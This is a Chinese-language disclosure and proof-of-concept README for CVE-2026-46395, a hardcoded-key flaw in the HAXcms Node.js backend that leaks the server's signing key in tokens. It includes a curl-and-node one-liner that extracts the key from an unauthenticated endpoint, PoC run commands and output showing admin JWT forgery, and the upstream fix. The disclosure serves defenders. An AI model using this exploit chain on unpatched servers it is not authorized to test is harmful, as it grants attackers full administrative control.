| CVE | CVE-2026-46395 |
| 组件 | HAXcms Node.js 后端 - haxcms-nodejs/src/lib/HAXCMS.js |
| 漏洞 | 硬编码加密密钥 + 私钥泄露 (CWE-321, CWE-200) |
| 严重性 | 严重 - CVSS 3.1 9.8 |
| 攻击方式 | 未认证,单一 HTTP 请求,无需用户交互 |
| 状态 | 已在上游修复。影响修补前的版本。 |
| 项目 | elmsln/HAXcms |
| 报告者 | Shreyas Challa ([email protected]) |
hmacBase64() 函数位于 HAXcms Node.js 后端 (src/lib/HAXCMS.js:2158-2163),
包含两个加密错误,共同使得任何未认证的攻击者能够恢复服务器的主签名密钥 (privateKey + salt),
并伪造管理员级别的 JWT。
// HAXCMS.js:2158-2163 - 存在漏洞
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // 错误1:密钥硬编码为 "0"
var buf2 = Buffer.from(key); // 错误2:真实密钥...
return Buffer.concat([buf1, buf2]).toString('base64') // ...被追加到输出中
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" 作为签名密钥,
而非 key 参数,因此 HMAC 不提供任何保密性。key(系统的 privateKey + salt)
被拼接在摘要之后并进行 base64 编码,然后作为令牌返回。因此每个令牌的结构为:
base64url( [32 字节: 以 "0" 为密钥的 HMAC-SHA256 摘要] [N 字节: 私钥 + salt 明文] )
攻击者 base64 解码任何令牌,丢弃前 32 个字节,即可直接读取私钥。
/system/api/connectionSettings 端点位于 JWT 跳过列表 (src/app.js) 中,
并且返回多个此类令牌而无需任何认证,因此一次简单的 GET 请求即可暴露密钥。
PHP 后端 (
HAXCMS.php:1619-1631) 正确实现了该功能(使用真实密钥,仅返回摘要 → 44 字符令牌)。存在缺陷的 Node.js 版本生成的令牌长度为 139+ 字符——这是嵌入额外数据的明显标志。
一次未认证的请求即可导致完全沦陷:
GET /system/api/connectionSettings,base64 解码任意令牌,丢弃前 32 个字节。jwt.sign(payload, privateKey+salt)。user_token、form_token 等。即使管理员设置了强密码,此攻击仍然有效,并且伪造的令牌不会在日志中产生登录事件。
poc_hmac_key_leak.js 对运行的实例执行完整的攻击链,并详细打印每一步:获取令牌 → 提取密钥 → 验证密钥 → 伪造 JWT → 伪造请求令牌 → 调用认证端点 → 创建站点以证明写权限。
搭建本地测试实例:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # 在 http://localhost:3000 上提供服务
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # 安装 jsonwebtoken(用于 JWT 伪造)
node poc_hmac_key_leak.js http://localhost:3000
如果未安装 jsonwebtoken,PoC 仍会提取并验证密钥,仅跳过 JWT 伪造步骤。
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('泄露的密钥:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
步骤1: 获取 /system/api/connectionSettings(无需认证)
token 长度: 139 字符(正确的 HMAC 令牌约为 44 字符)
步骤2: 从令牌中提取私钥
字节 32+(私钥 + salt 明文):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
结果: 私钥成功提取!
步骤3: 匹配 - 提取的密钥正确。
步骤4: 伪造 JWT(用户=admin)...
步骤7: 站点创建成功 - 确认完全管理员访问权限。
将存在缺陷的函数替换为使用正确密钥的 HMAC,并仅返回摘要:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // 使用真实密钥
.update(data)
.digest('base64') // 仅返回哈希值
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
修补后:
privateKey 和 salt——之前发出的任何令牌中都包含明文形式的旧密钥(存在于 HTTP 响应、日志和浏览器历史记录中)。请更新到包含上游修复的 HAXcms 最新版本。
该问题在发布前已报告给 HAXcms 维护者并已修复。PoC 仅在补丁可用后发布。请仅将其用于你拥有或明确授权测试的系统。
本材料仅供防御性研究、教育和授权安全测试使用。在未经明确许可的系统上运行此工具可能违法。你需自行负责遵守所有适用法律,并在测试前获取授权。按“现状”提供,不提供任何担保(参见 LICENSE)。